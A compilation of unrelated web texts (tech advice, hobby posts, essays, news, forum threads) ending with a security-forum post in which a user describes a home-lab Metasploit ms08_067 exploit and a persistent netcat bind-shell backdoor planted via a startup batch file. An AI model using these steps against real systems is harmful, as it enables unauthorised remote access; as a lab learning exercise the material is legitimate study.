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Ray from UT writes:
I am thinking about buying an Android tablet. However, I don't know which version of the OS is the best. Can you shed some light on the difference among the Android OS (from 2.0 to 4.0)? Also, can you upgrade to a more advanced version after the purchase?
Android has a lot of great features, including customization, open development, and tons of devices to choose from. One thing that's a problem though is something called fragmentation. Fragmentation means that instead of most Android devices running the same basic operating system software, there are many, many versions. So which Android version is best and what should you avoid?
It's pretty simple:
(The higher the number, the more recent the version of Android. The codename (the words in parentheses) is a name Google assigns each version and is named after a snack)
Below Android 2.3: (Froyo, Eclair, Donut) Avoid it like the plague. While there is nothing inherently wrong with lower versions, the ones below 2.3 won't support many modern applications. Besides, you don't want to spend money on something already so far out of date.
Android 2.3: (Gingerbread) With a redesigned UI and support for integrated social networking and voice over IP calling, this is the lowest version of android I'd accept. This version includes 2.3, 2.3.x (x represents small improvements like 2.3.3)
Android 3.0: (Honeycomb) This version of android features another redesigned UI, primarily focused on tablet computers. This version also added USB support for plug-in devices like keyboards, joysticks and other devices. This version includes Android 3.0/3.1/3.2.x (once again, x represents small improvements like 3.2.6).
Android 4.0: (Ice Cream Sandwich) This is the latest version of Android, and includes an improved UI, optimized dual and quad core processor support. This is the version of Android you want, as it offers the latest Android experience. This version includes Android 4.0.x (x represents small improvements like 4.0.1).
Check with your device manufacturer to see if they offer any upgrades for the version of Android you have installed on a device. HTC and Samsung both have been pretty good about offering upgrades when possible, but the latest versions of Android can usually only be found on the newest hardware as many lower cost device manufactures see no benefit in offering free upgrades once the product's replacement is out.


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Hi everyone, here is my build & paint up of my MOW jetpack. I painted my previous jetpack in a different method, I layered silver, masked scratched areas, sprayed green, sprayed black, weathered, took masking off and it was done. This time I have sprayed green, hand painted (with sponges & my fingers) the black & brown weathering then hand painted the silver on the edges sometimes smudging with my fingers. Looking back I prefer the first method as it's less scary as using a brush I find it is very easy to make a mistake and paint is harder to sort out than liquid latex.
I also fitted my Dark-Side Aluminium Beacon light, then I used Velcro to stick the battery pack with switch on the inside of the pack.
Here are some pictures of the paint up & Beacon (I didn't take any photos of the MOW build as it's all the same):
I have a harness with hooks on the way. Hopefully I'll be fitting a stabiliser (non-aluminium for now), creating a method for fitting the thrusters using DarthVoorhees' tutorial, fitting the Dark-Side thruster aluminium accessories and I'll be spraying the yellow and red additions to the pack then the painting is DONE! I am so excited because I have had this kit untouched through a break up and living on my parent's floor for a while, and it's so nice to finally be able to get it done!

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Thanks for the heads-up!
If anyone has a Cabela's store nearby, they normally sell these mags for $19.99. The slightly higher per-unit price is still usually less (sometimes MUCH less) than the per-mag total after adding shipping from any of the mail- or internet-order companies. I've bought several mags from Cabela's, they are a decent source for some items.


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Saving the Titanic: Strategies for Sustainability in a Global Economy
The booklet "Saving the Titanic" was originally published by Paul Freundlich, founder of Green America (formerly Co-op America). It contains a dozen green strategies for our society to avoid the "icebergs" of climate change, nuclear catastrophe, economic collapse, and other ills. Today, we excerpt the introduction to "Saving the Titanic," and over the next 12 days, we'll share Paul's solutions:
The Doomsday Clock of the Bulletin of Atomic Scientists stands at five minutes to midnight. Originally conceived as a warning about nuclear catastrophe, it has broadened to include terrorism and the risks of environmental disaster.
Five minutes? How much time would the Captain of the Titanic have needed to avoid the iceberg that blocked his passage? Not much, because a simple turn of the wheel could have saved the day. Avoiding our date with destiny is a considerably more complex challenge.
- A global, financial crisis has blown the assumption that a free and unfettered market will self-correct.
- The damage that has already been done to the environment will not be easily repaired, nor has the pace sufficiently declined.
- The waste of resources precious to our very survival continues.
- A relentless drive to maximize consumption raises expectations even as it creates vast disparities that fuel envy and rage.
- The public interest in research and innovation that creates long-term value is less than fully served by present entrepreneurial drivers.
- The village green where our communities may gather is brown at the edges, encroached upon by the mass of concrete, overwhelmed by the inputs of marketing and slogans.
- The efforts of nations, much less cities, towns and individuals to behave creatively and responsibly seem wildly insufficient to the scale of the problems.
The Titanic was built to be impervious to nature. What if its captain concluded that the problem was the ship itself? Would the passengers and crew embrace travel in smaller boats? Could they cheerfully share the rations and settle in for some long, hard paddling?If a major course correction, or even a change of travel, is called for, who is on the bridge, and where is the map we should follow?
Humans need food, shelter, clothing and the fulfillment of our primal directive to propagate our species. We naturally organize in families, tribes and communities. All the rest is embellishment.
But oh, what embellishment! Human life in the 2st century ranges from primitive simplicity to complexity that would have invited the envy of ancient gods. We fly through the air, adjust our environments to suit, communicate instantly by word and image, and create institutions that outlast generations. If we don't yet live forever, it's not for the want of trying.
From the industrial revolution, the conviction grew that the upward spiral of western civilization, ordered by manifest destiny and delivered by a dynamic market economy, would eventually bring wealth to everyone. If we stopped to thank Mother Earth for this bounty, it was more as a benediction. Occasional nay-sayers like Malthus were brushed off as bad sports, and communism's spin on the respective roles of workers and capital seemed passé by the year 2000.
Even when the spoils of short-term thinking, exploitation of resources, the consolidation and control of capital created huge disparities, so long as the flow of goods was maintained, the market economy remained attractive even to those who were unlikely to share in much of the bounty.
The recognition that there really might be diminishing returns is a relatively recent conclusion, dramatized by Al Gore's In-convenient Truths, and driven home when a great global financial crisis called into question assumptions that ultimate wisdom lies in the marketplace.
Thus once again, we face the question of how to serve human needs by organizing resources, labor, and the leveraging capacity of technology, but this time within the context of a planetary ecology. How do we balance productivity with equity, long-term with short-term value? Endangered species, falling water table, and who gets what advantage? Is it possible to bargain with financial systems and elites that assume their entitlement will endure no matter what the cost?
The fear of environmental catastrophe has been like that ice-berg looming in the path of the Titanic. Yet fear is only useful as motivation to launch the lifeboats. If there aren't enough boats, if the panic of passengers is itself a disaster, if the seas are too rough – we're lost. Better is prescient planning to cope with the challenges when they occur. Best is a change of course.
We need a model and a time-line that offers not only fear, but also a compelling presentation of what the alternative has to of-fer: Here are the benefits of a just, global economy that respects the environment, human rights and labor. Here are the rewards of a more cooperative society. Here is what corporations, labor, consumers, public interest groups and government (on all levels) will have to contribute at each stage.
The Titanic on its unconsummated maiden voyage had a destination, a crew and passengers, and a set of structural systems to make the trip both safe and pleasurable (particularly for those traveling first class).
There were also the environmental conditions which faced a ship deemed too big and powerful to fail. Understanding and integrating what have been written off as externalities is the key to any hopeful planning. There is considerable evidence that given the pace of global warming, expecting to avoid dealing with environmental and social consequences in even the most sanguine scenarios is unrealistic. What we are likely to have is a continuum of response that ranges from doing nothing, to major systemic change, with a big chunk of adjustments in the middle.
The metaphor of Spaceship Earth has been around at least as long as humans traveled beyond our atmosphere and were humbled and moved by the poetry of our verdant planet. The view of the melting poles and spreading deserts is unlikely to invite such enthusiasm. Will the new epiphany be about a ship threatened by plague, with rats desperately seeking an exit strategy?
Nursing an organism big as our planet back to health is no mean feat, and will take all our skills. There's so much to do, and it is critical to make priorities. Triage identifies relative risk in the light of available resources as the basis on which proper and timely interventions are made. In retrospect, the Titanic disaster could have been averted or at least the consequences improved by a better appreciation of externalities (fear of floating ice castles); a better analysis of internal systems (lifeboats); and the reorganization of roles might have dealt better with the tragedy than the confusion of loading lifeboats half-full.
If our ship is to survive, we need to reframe the dialog surrounding sustainability.
In the days that follow, we'll post Paul's 12 strategies for righting the ship.
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For the third straight month, the American Institute of Architects' Architecture Billings Index is in positive territory. October's score came in at 52.8, up from last month's 51.6. (Any score above 50.0 means growth in billings.) The score for project inquiries also rose to 59.4 from September's 57.3. As with last month, the market for architectural services is looking hopeful again, and there's also, thankfully, no sign yet that anxiety from the possibility of the federal government not reaching a resolution to the fiscal cliff is having a deleterious effect.
Except for the Commercial/Industrial sector, all of the nation's regions and the industry's sectors are also growing—a first in almost a year. Some of the individual regions and sectors are also experiencing levels of growth not seen since before the construction bubble popped and the financial crisis decimated the economy.
National highlights:
National: 52.8 is the highest national score since December 2010 (52.9), and the second highest score since December 2007 (also 52.9).
Inquiries: 59.4 is the highest score for project inquiries since February, and this is the 45th straight month that project inquiries has been in positive territory.
Region highlights:
Northeast: 52.6 is the highest score since October 2010 (52.8).
Midwest: 50.8 is the first time this sector has been over 50.0 since March (51.8).
South: 52.8 is the highest score since December 2011 (52.8).
West: 51.8 is down from the past two months, but the sector is still slowly growing.
Sector highlights:
Multifamily Residential: 59.6 is the highest score for this sector since April 2005, and the second highest score since October 2004.
Commercial: At 48.0, this is the only sector still contracting.
Institutional: 51.4 is the highest score for this sector since July 2008, which was the last month that this sector was consistently growing.
Mixed Practice: 52.4 is the highest score since December 2007, which was the last month that this sector was consistently growing.
Even more than just the numbers, the consistency over the past few months is a hopeful sign. Except for the Midwest region and the Commercial sector, all of the national, regional, and sector scores have shown growth for multiple consecutive months. Multifamily Residential continues to roar ahead, and while that sector has been the most consistently stable sector over the past four years, it is a surprise to see Mixed Practice—a sector that has had a very rough five years—consistently growing.
Combine this with the increase in residential constructionweaetxdyvaydzcwq, and maybe we really are seeing the industry turning the corner. But there is also a chance that we are seeing a trend that has repeated the last few years: Billings increase from fall through spring, only to see another lull come the beginning of summer.


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Last night my family and I were driving through a subdivision on the outskirts of Orlando and saw a small retention pond with about 50 Mallards, went around the corner and saw another pond full of birds, and again and again, Mallards, Ring Necks, Woodies, Teal, Mergansers and more. All I can think of is how few birds I saw when the season is in and now they are everywhere.
I serve as the chaplain the University of Central Florida's Football team and have served in the past for a number of other sports. Just like the ducks on the retention pond every where I go I talk to people who "believe" in God. My question is where are they during the season? Or more correctly put. Where is the fruit? The Bible tells us that if we are in Christ we will bear fruit. John 15:1-8 says "I am the true vine, and my Father is the gardener. He cuts off every branch in me that bears no fruit, while every branch that does bear fruit he prunes so that it will be even more fruitful. You are already clean because of the word I have spoken to you. Remain in me, and I will remain in you. No branch can bear fruit by itself; it must remain in the vine. Neither can you bear fruit unless you remain in me. I am the vine; you are the branches. If a man remains in me and I in him, he will bear much fruit; apart from me you can do nothing. If anyone does not remain in me, he is like a branch that is thrown away and withers; such branches are picked up, thrown into the fire and burned. If you remain in me and my words remain in you, ask whatever you wish, and it will be given you. This is to my Father's glory, that you bear much fruit, showing yourselves to be my disciples."
A few years ago I took a real hard look at this passage and my own life. I questioned my fruit. Is it the fruit of the Spirit as in Galatians 5:22-26 "But the fruit of the Spirit is love, joy, peace, patience, kindness, goodness, faithfulness, gentleness and self-control. Against such things there is no law. Those who belong to Christ Jesus have crucified the sinful nature with its passions and desires. Since we live by the Spirit, let us keep in step with the Spirit. Let us not become conceited, provoking and envying each other." Or is it the fruit of the sinful nature as in verses 19-21 "The acts of the sinful nature are obvious: sexual immorality, impurity and debauchery; idolatry and witchcraft; hatred, discord, jealousy, fits of rage, selfish ambition, dissensions, factions and envy; drunkenness, orgies, and the like. I warn you, as I did before, that those who live like this will not inherit the kingdom of God."
I realized that my life more represented verses 19-21 than the fruit of the spirit, and something I realized is just as Christ Righteousness saves me and not my own. His righteousness sanctifies me, making me a new creation. He promises in Philippians 1:6 "…that he who began a good work in you will carry it on to completion until the day of Christ Jesus." I looked hard at myself and asked "Is God sanctifying me, am I being changed more into the image of Christ, and why not?" He tells us if I remain in him and he in me I will bear much fruit. I looked at James 2:18-20 "But someone will say, "You have faith; I have deeds." Show me your faith without deeds, and I will show you my faith by what I do. "You believe that there is one God. Good! Even the demons believe that—and shudder. "You foolish man, do you want evidence that faith without deeds is useless?"
I realized that my faith was very similar to that of demons; I didn't know what to do. I cried out to God and said change me. Make me into your image. I have to tell you he is changing me more and more like him. Sometimes that fruit of the Spirit is clearly evident not because of what I do but because of the changes he is making in me. Other times I see the fruit of the sinful nature which fills me with disgust for myself and reminds me it is not my righteousness but Gods. I find great joy in the promise given to us in the book of Jude verses 24 and 25 "To him who is able to keep you from falling and to present you before his glorious presence without fault and with great joy— to the only God our Savior be glory, majesty, power and authority, through Jesus Christ our Lord, before all ages, now and forevermore! Amen."


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Robotmaster Software is Used to Create an Automated Way of Producing Orthotics Using Milling Robots
Carnegie Mellon Successfully Exploiting Manufacturing Robots with Robotmaster
Client Profile: Carnegie Mellon University (CMU) is a global research university with campuses located in Pittsburgh, Qatar and Silicon Valley. The Carnegie Mellon School of Architecture in Pittsburgh has consistently ranked in the top ten professional architecture degree programs, with a reputation for being
Grippers that Hold Up in Extremely Tough Environments
Bremen Castings, a precision CNC machine shop and foundry located in Bremen, Indiana, has a tough job to do. Producing gray iron castings from recycled material is a job
Multi-Contact 10BV Connectors Used to Ensure a Reliable and High-Power Battery Connection in Electric Vehicles
Business needs – Background A manufacturer of electric vehicle conversions offering a wide range of products, from small cars to large busses.
Data Transfer Modules Add to Versatility of Multi-Contact Connector System
Part of modular CombiTac connector system, contact carriers are available for Ethernet cabling and field bus systems. CAT 5 IEEE 802.3 Ethernet types have 2 RJ45 sockets connected to 8-pole, gold-plated plugs or sockets on opposite side. CT-NET bus types, rated CAT 6, can hold one or two 8-pole, male/female
Fused 1000 V Test Leads from Multi-Contact Assist Operator Safety
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Cable Termination System Offers Crimp-free Connections
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Used where clamping is not possible, magnetic adapters safely attach test leads onto screw heads. Adapter tip consists of bar magnet between 2 steel poles for optimal adhesion, and slightly concave shape of magnetic tip ensures optimal contact. Two versions are available, with 7 or 11 mm dia magnets, and
The Modular Power Connector (MPC) from Multi-Contact Combines up to 15 Single-pole Power Contacts
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Shielded Round Connectors 16BV-GS und 21BV-GS for high-power applications
As a customer-specific solution, Multi-Contact has developed fully shielded connectors for power supply with frequency converters, e.g. for operating three-phase motors. The 16BV-GS and 21BV-GS connectors are suited for applications in deep drilling rigs for geothermal exploration, in energy supply chains for crane systems as well as in all applications
Combination of Robots and CDLR Conveyors Increases Production Up-Time
Tech-Con Automation combines Robots and CDLR conveyors to Increase Production Up-Time A Tech-Con Automation client is a Tier 1 manufacturer of engine cradles. The client required an automated way to handle cradles going into and coming out of a protective coating process prior to shipping. CHALLENGES Part
KMT Robotic Solutions responds quickly to repair flood damaged robotic system at Tier II supplier
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Acupuncture with Amy Schroeder (Holistic Health Series)
|Wednesday, July 31, 2013
|1:00 pm – 2:30 pm
|Lupus Foundation of Minnesota Office, Bloomington
Join Amy Schroeder, in this workshop, as she discusses the function and benefits of acupuncture. Experience acupuncture first hand in a group acupuncture session.
What is Acupuncture?
Acupuncture was developed in China over 2,500 years ago to treat illness and prevent disease. Thin, sterile, disposable needles are inserted in precise acupuncture points to promote the movement of the body's natural energy or qi (pronounced CHEE). Needling these points stimulates the nervous system to release chemicals that, in turn, stimulate the muscles, spinal cord and brain. These chemicals reduce pain and inflammation.
About Amy: Amy is a licensed acupuncturist with the Minnesota Board of Medical Practice and board certified by the National Certification Commission for Acupuncture and Oriental Medicine (NCCAOM). She graduated with a Masters Degree in Acupuncture from the Minnesota College of Acupuncture and Oriental Medicine at Northwestern Health Sciences University. Amy is passionate about bridging the gap between Eastern and Western medicine by helping people experience the benefits of preventative and alternative care. For more information about Amy, click here.
Class size is limited so register now. Dress comfortably. To register or for more information, contact LFM via email or 952-746-5151. Please register by July 30.


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Get your holiday shopping done early and give the gift of Warcraft for only 9.99€ / £6.49. Just in time for this festive holiday season, we're making both the boxed version and the digital download version of World of Warcraft Classic available for 9.99€ / £6.49, this weekend only when you purchase through the Blizzard Online Store or through your World of Warcraft Account Management page. There's never been a better time for the gift of World of Warcraft!
We recently sat down to discuss the Exclusive Pandaren Brewmaster figure and find out where these cuddly yet fearsome (and maybe slightly intoxicated) characters originated, straight from the mouth of their progenitor.
Join us as we delve into the pandaren past, present, and... phuture.
The SteelSeries World of Warcraft MMO Gaming Mouse now offers in-game set-up for Mac users as well as for those playing on PC. With World of Warcraft patch 3.3, Mac players will have the ability to customize the MMO Gaming Mouse directly from within World of Warcraft's interface, making it more convenient and responsive. Check out the SteelSeries website to learn more about the improvements, or to find out where to get one.
Show everyone in Azeroth that you're serious about account security with man's (and orc's) best friend! Beginning today, any World of Warcraft player who protects his or her Battle.net account using either a Blizzard Authenticator or the Battle.net Mobile Authenticator will get their very own in-game Core Hound Pup, a fiery and feisty guard-dog pet. Adopting this molten mutt is easy: If you've got any kind of Authenticator attached to your account, you'll find your new canine companion waiting for you the next time you log in.
We've also just released a new Blizzard Authenticator token featuring a Core Hound-themed look and design. Click here to order one through the online Blizzard Store. For more information on account security and the various Authenticator options available to you, check out our Account Security and Authenticator pages.
We are pleased to announce that Blizzard Entertainment will be attending the EPS Finals that will take place from Saturday 12th until Sunday 13th in Cologne, Germany,
The 15th Season of the ESL Pro Series is coming to an end so don't miss out on the opportunity to attend these action packed finals where you can watch some of the greatest Warcraft III players challenge and push each other to the very limit in order to win the tournament.
Additionally, you will have the chance to meet some of the members of the Blizzard Community Team who will be attending the event as they offer you the chance to play the highly anticipated real-time strategy game, StarCraft II, and the massive multiplayer online game, World of Warcraft: Wrath of the Lich King.
When: 12th – 13th of December
Where: EXPO XXI in Cologne
Opening Times: Saturday from 13:00 to 00:00 – Sunday from 11:30 to 18:00
You will find more information regarding the EPS Finals on the ESL website.
Blizzard Entertainment showcased StarCraft II at the G-Star electronics exhibition this year in Busan, Korea. We had a great time meeting so many of our players and fans during the four-day show, and wanted to share some pictures from our booth at the event.
On December 11-13, the Intel Extreme Masters Continental Finals will feature the top eight World of Warcraft teams from America duking it out for $15,000 cash in Edmonton, Canada.After two grueling qualification stages, only the most ambitious of combatants remain. The lineup will feature: compLexity, Fnatic.WoW, CheckSix Gaming, SK Gaming USA, Evil Geniuses, Loaded.Wow, and two teams yet to be determined. See who will emerge victorious and claim the coveted prizes.
You can find all of the details for the event, including a more in-depth look at the teams and how to watch the stream here.
Fall of the Lich King, the latest World of Warcraft content update, is now live! The heroes of the Horde and the Alliance have faced unimaginable horrors and suffered terrible losses in their desperate struggle against the Scourge. Now the time has come to break through the fortified gates of Icecrown Citadel and confront the Lich King in the frozen heart of his domain. Check out the trailer now, or check out our Fall of the Lich King page or official patch notes for more information.


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The Ford-Sununu Netflix Internet Plan For Fairness And Confusion
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Harold Ford and John Sununu penned an op-ed for the San Jose Mercury News this week that has something to do with Netflix and the internet and fairness. It's possible that there is a point buried somewhere in its ham-fisted analogies and confused understanding of how broadband services work, but I'm struggling to see it.
Netflix, they write, eats up a lot of bandwidth with its unlimited streaming content package, and broadband users who don't subscribe to Netflix end up being indirectly charged when those movies are downloaded:
Obviously these massive transmissions over the Internet are not really free. Someone is paying for them. That "someone" is the millions of broadband subscribers, whether or not they are Netflix customers.
How is that fair?
Netflix argues that the marginal cost to the network providers of streaming a half-hour TV show to a residential customer is "one penny." This ignores the hundreds of billions of dollars in sunken network investments needed to create that one-penny marginal cost efficiency at the customer's end.
Netflix is getting a "free ride," they say, and the solution is "an approach that is more socially responsible and fair." Steadfastly avoiding anything that approaches specificity, their prescription is "a fairer pricing model" for internet service providers "and a more realistic long-term investment strategy."
Okay, so the problem lies with the ISPs? Apparently not, because they conclude the op-ed with another dig at Netflix:
No one questions that Netflix provides a valuable service to its customers. But many increasingly question a service that forces tens of millions of non-customers to pay for something they never use.
As Matt Yglesias points out, the argument they're making, which still isn't all that clear, really has nothing to do with Netflix. The popularity of the Netflix all-you-can-download package is due in large part to the fact that ISPs choose to sell broadband plans that allow unlimited data usage. If ISPs wanted to charge customers who use up lots of network capacity by watching online movies or visiting YouTube or guzzling data in some other way, they would. But they don't.
Ford and Sununu are the honorary co-chairs of the anti-net neutrality group Broadband For America, and it's possible that their op-ed was intended to be an oblique hit on the FCC's net neutrality rules. But the rules don't prohibit ISPs from charging more for faster internet access, which seems to be what Ford and Sununu are advocating and inexplicably criticizing Netflix over.
So that's what we're left with: an op-ed so bizarre that you can't even make up a point for it.
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Travelers everywhere are familiar with Texas' big commercial airports, such as Dallas/Fort Worth International or Houston's Bush Intercontinental. Less familiar, however, are the many smaller airports and heliports that also serve the state of Texas. TxDOT's Aviation Division helps the state's general aviation airports secure funding and adhere to regulations.
General aviation and "reliever" airports typically support limited scheduled air service and board between 2,500 and 10,000 passengers every year. Besides providing air access to smaller, more remote communities, these vital facilities support aeromedical flights, aerial firefighting, law enforcement and disaster relief. With approximately 300 of these airports open to the public, Texas' general aviation airport system is one of the largest in the nation.
Note: Please call the Federal Aviation Administration (FAA) at (866) 835-5322 for questions relating to federal aviation responsibilities including low-flying aircraft, pilot behavior, fuel quality and commercial airlines.
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text: Cronous was okay. I used to play with a few RL friends back in 06. It was actually pretty fun, diablo like etc. Graphics were okay. Gameplay was fun. It was a game I actually enjoyed just constantly killing monsters. I remember when there were tonnes of people playing (enough to lag the main court anyway) and selling stuff in their shops. Now it's pretty much dead. There's still bugs that they haven't fixed since I started playing. Shows you how much they perform maintenance ahah


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Weathering your boots.... it can be tricky if you dont have an airbrush so I wanted to try and come up with a way to make the weathered and more screen accurate with out one... even though I have one. Just to see if it could be done... and using the same style that I have applyed to my spats but with paper towels instead of an airbrush, low and behold it works like a champ.
Here is what I did.
Take three small boles that are glass or can be thrown away since your going to get paint all over them.
Next get a bottle of cheap acrylic paint in three colors... I use the chepo wallmart paints in the craft section. There .50 cents to .75 each. Get white, black and brown.
In each bowl squirt a little paint in then fill up with water and mix. You will leave the white alone once mixed... the same with the brown... The brown you want the least amount of paint as this is just to ad value... the boots never appeared to have large ammounts of brown to me, just subtle hints of it.
Next you want to ad a touch of white to your black... this lightens it just a bit... perhaps even a smidge of brown for ritchness.
Then you fold a large peice of paper towl in to a rectangle and dab it in the light watery brown and ad some subtle brown, followed by greyish black on the greay parts of your shoes and soles... the more you go back and add the darker it gets... dont forget to evely rub it on... the harder you press the darker it is.
Then using a new paper towl do the same with the white on the black parts of the shoe.
After your done you can let it dry or dry it with a hair dryer. Then if you realy want an old look take a sanding block (get it at home depot or wallmark) and rub it on the fabric. It can lighten up your stains a bit so you may want to do this first.
Here is the result.


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It's no surprise that members of Generation Y can cause annoyance in the workplace when their behavior is at-odds with the established norm. However, this doesn't mean that it's wise to brush these young employees aside. In fact, in between Gen Y's disregard for hierarchy and tendency toward overshare lies information that could make or break your company.
A strategic inflection point is a point of massive change for a company. "Sooner or later," Andrew S. Groves– author of Only the Paranoid Survive– says, "something fundamental in your business world will change." It happens when the old way of doing things suddenly shifts to the new. It sounds simple, doesn't it? Unfortunately, it can put big companies (like Blockbuster) out of business, and threaten many others (like Intel). These types of large-scale changes render environmental scanning systems (put in place to help predict environmental trends) useless.
Why strategic inflection points and blind spots are important: MGA Entertainment created their line of Bratz dolls after noting a trend: young girls wanted dolls that looked more like their hip, older sisters. Mattel's Barbie doll lost a full fifth of her realm almost immediately because Mattel didn't catch on quickly enough. And Mattel didn't even see it coming. Bill Gates even holds "Think Weeks" at Microsoft where employees take time to focus on the bigger issues facing the company. The hope is to uncover developing trends that will catch Microsoft off-guard.
Perhaps the Titanic wouldn't currently be at the bottom of the sea had those in charge of the ship realized they were at a strategic inflection point, argues Brian Huffman, an associate professor of management at the University of Wisconsin- River Falls. "The Titanic's fate seems less unlikely when one considers that the most experienced of the vessel's officers had begun their careers when commercial ships were made of wood and powered by wind and sail."
But you shouldn't just pay attention to Gen Y because they aren't "old fashioned." You should pay attention because, Huffman and Groves argue, CEOs are nearly always the last to see these big changes coming; the little guys see it first. In fact, the higher you are in the organization's management, the less likely you are to catch onto environment-changing trends. Reasons for this include blissful ignorance, an unwillingness for folks to tell you, and "inevitably incomplete and distorted data" which reaches upper management. The biggest reason is quite simply that these managers just don't consider that these kinds of game-changers could arise. The key, Huffman argues, is to include lower level managers in important conversations regarding periphery, as they are often the first to catch onto these kinds of environmental trends.
Is Gen Y making "mistakes" or providing information that could save your company? Andrew McAfee recently wrote a Harvard Business Review blog post in which he calls to attention two common mistakes of millennials at work. The first is Gen Y's tendency to overshare. The second is acting "as if all employees are equals, and equally interested in airing the truth." But really, the biggest mistake would be to rid Generation Y of these characteristics.
In fact, Gen Y probably could have saved Mattel's market share by performing the exact same "mistakes" that McAfee discusses (had they been in the workforce between 2001-2004). They would be talking about trends openly, and they wouldn't have been afraid to tell the big guys. It's also in the spirit of spreading ideas despite hierarchical constraints and encouraging potential overshare that Gates holds true to his "Think Weeks" that help keep Microsoft moving.
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Authorities have called off the search for a Staunton man who went missing a week ago while hiking on Shenandoah Mountain.
Sixty-year-old Robert Fitzgerald dropped his cell phone while hiking on the Confederate Breastworks Trail with a friend on Nov. 11. Authorities believe he returned the next day to find the phone. He hasn't been seen since then.
A five-day search that began Thursday yielded no signs of Fitzgerald.
Billy Chrimes with the Virginia Department of Emergency Management tells The News-Leader that authorities decided Monday night to call off the search.


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Discussion in 'Fantasy Sports Central' started by MotownPride, Sep 26, 2013.
Yes, unfortunately.
The trash-talk is getting hot in here.
I hereby nominate Kevin Durant to be the 45th President of The United States of America
I took Lee's advise and added Kris Mittleton to my squad as the free agent pool week with all of the injuries. Other than the 9 turnovers he had in three games, he delivered with 13pg, 3.3 rpg and 2 assists per game and had 4 three balls. He also had the second best FT % this week. So since I am teetering on the brink holding on to the sixth spot, I will hold on to see what he delivers this week.
I cannot like this for obvious reasons.
whew, Griffin and Crawford are really killing it this week
Junior's Jazz not setting his line ups?
maybe he has given up?
I will talk to him and make sure he continues to set his lineup. Even if your team sucks, you have to keep playing for the integrity of the game.
My guys are dropping like flies. 5 out as of tonight. Never liked the All Star break but this will be nice time out
I have the same problem in Keeper. I have 7 guys on IR or banged up in the last 10 days. No one looks like they will be out for good, but with my team spiraling out of contention, this timing is ominous.
Looking forward to Laimbeer and I going one-on-one tonight - my Jimmy Butler vs his Deron Williams. Steals and Assists up for grabs, I'm leading both by a small margin and am 6-3 up... could swing his way if D-Will finds some form!
It's been a roller-coaster season so far. After being spanked non-stop at the beginning and losing Rose for the season, I went on a 6 game win streak, claiming as high as the 4th spot. Then got manhandled 3 weeks in a row.
I would like to find a fantasy sport where there are no injuries! Hmm, maybe NASCAR or golf?
Competitive underwater basket weaving.
My 9-0 victory this past week sure does indicate and further validate my decision to give up and stop trying in this league.
Haha nice one... But please can you set your lineups to keep the integrity
I have to admit that I would have been surprised given our fierce trade talks over the past weeks
It was a short week obviously.
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Yesterday President Obama stood at the White House with Commodity Futures Trading Commission (CFTC) Chairman Gary Gensler, Treasury Secretary Timothy Geithner, Attorney General Eric Holder, Federal Trade Commission (FTC) Chairman Jon Leibowitz, and proclaimed that he will be putting "more cops on the beat" to investigate Wall Street oil price speculation and potential wrongdoing. I have written on this subject before here, here, and here. While I have little confidence that anything will come of this third call by the President for the Department of Justice, the FBI, and the CFTC to investigate oil futures speculation and other speculation in the commodity derivatives markets, he is at least taking his act public this time.
"We can't afford a situation where speculators artificially manipulate markets by buying up oil, creating the perception of a shortage, and driving prices higher, only to flip the oil for a quick profit,"
Many argue that the President can not do much at all to influence oil prices. Many simply buy the Wall Street rhetoric hook, line and sinker, and even go so far as to turn sheer conjecture into fancy charts in order to confuse the public. I disagree. First, there is no greater motivator than personal freedom, and under current law Eric Holder can punish those found to have run afoul of the law by sending them to federal prison. Moreover, while the fines currently permitted are small change, the embarrassment that would accompany fines has consequences. I do not have any explanation for the extraordinary impotence and insolence at the Department of Justice under Eric Holder. The entire soap opera could just as easily be an elaborate act wherein the President calls for investigations of this thing or the other thing, and subsequently sends Eric Holder privately on his way with instructions to do nothing.
I find it extraordinarily difficult to believe that if Eric Holder made the decision to call in the FBI and begin interviewing the big Wall Street players in the commodity futures derivatives markets and put a few of them in prison, that the oil prices wouldn't drop in an instant. I envision FBI agents and federal regulators walking through hallways at Goldman Sachs, owner of the Goldman Sachs Gold Index, and other large firms carrying lawfully issued subpoenas and search warrants. I have a hunch that some of the more egregious activities would stop immediately if people realized they might actually be sent to prison. Exxon Mobil, the Saudi Oil Minister, among others, are on record as believing that the current price of oil has no basis in the realities of supply and demand nor the potential disruption in delivery that could ensue following a conflict with Iran. Holder's behavior with regard to oil futures speculation is not dissimilar from his approach to both the larger mortgage and financial instrument fraud which caused the recession, and his utter infecundity with regard to prosecuting those responsible for the BP oil spill. It is as if the entire Department of Justice loathes prosecuting anyone, for anything, at any time.
What is particularly troublesome about Obama's footing on oil prices is that it is not Republicans who are obfuscating efforts to initiate investigations, make arrests, and prosecute those responsible. It is his own administration and administration officials who stand in his way. It is cerytainly true that Republicans, Mitch McConnell in particular that are placing the blame at Obama's feet, but the President has the tools to demonstrate through concrete actions that he takes Wall Street fraud and price manipulation seriously. One man, let alone the President of the United States, can alone control the world price of oil, but one man can use the tools available to him to take action. Some time ago CBS's 60 Minutes ran a piece in which it interviewed the chief prosecutor at the Department of Justice concerning the lack of criminal prosecutions stemming from the financial collapse. His response was a contemptuous "just wait." Well, the American people have been patiently waiting for nearly four years for the administration to show that it will prosecute wrongdoing perpetrated by the golden boys of Wall Street. My guess is that the wait will continue.
Ian Masters interviewed Michael Greenberger, the former Director of Trading and Markets at the Commodity Futures Trading Commission, on this subject yesterday. It's worth a listen.


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You can open a port for nc instead of disabling the firewall.
I manage to do my first backdoor.
Lab: Attacker: dell laptop inspirion 1525 usb Backtrack4 prefinal
Victim: virtual box Windows xp sp2 home edition under linux ubuntu 9.04 .
I think these steps are easy so anyone who start working wit Bt as i start few months ago can try this to see in general how persistent backdoor works.
First i run metasploit and exploit smb/ms08_067_netapi with payload windows/meterpreter/reverse_tcp.
After i get active session first i disable firewall with Carlos Perez script.
Then i uplod file nc.exe in C:/ (or any directory you want) and batch file with name test.bat which i previously made in notepad runed in wine which i upload in startup folder of victim machine.
Test.bat had this in file: start C:\nc.exe -L -p 5555 -d -e cmd.exe.
After i do this and reboot machine my backdoor always listen on port 5555 (or you can put someother port) and everytime machine start you can see i one second black cmd screen which start listener on port 5555.
Then just type on Attack machine: nc (ip of target) 5555 and you will get reverse shell.
Its far from ideal backdoor and has many drawbacks but i think its nice way to start to see how backdoors work in general.
If someone has any sugesstions (i didnt manage to bypass firewall without disable it with ruby script first) or something like that or someone how will try this can ask me here and i will help him to make same thing as me?
You can open a port for nc instead of disabling the firewall.
If you can't explain it simply, you don't understand it well enough -- Albert Einstein
Just to correct you (congratulations on your first one by the way), but that is not a reverse shell.
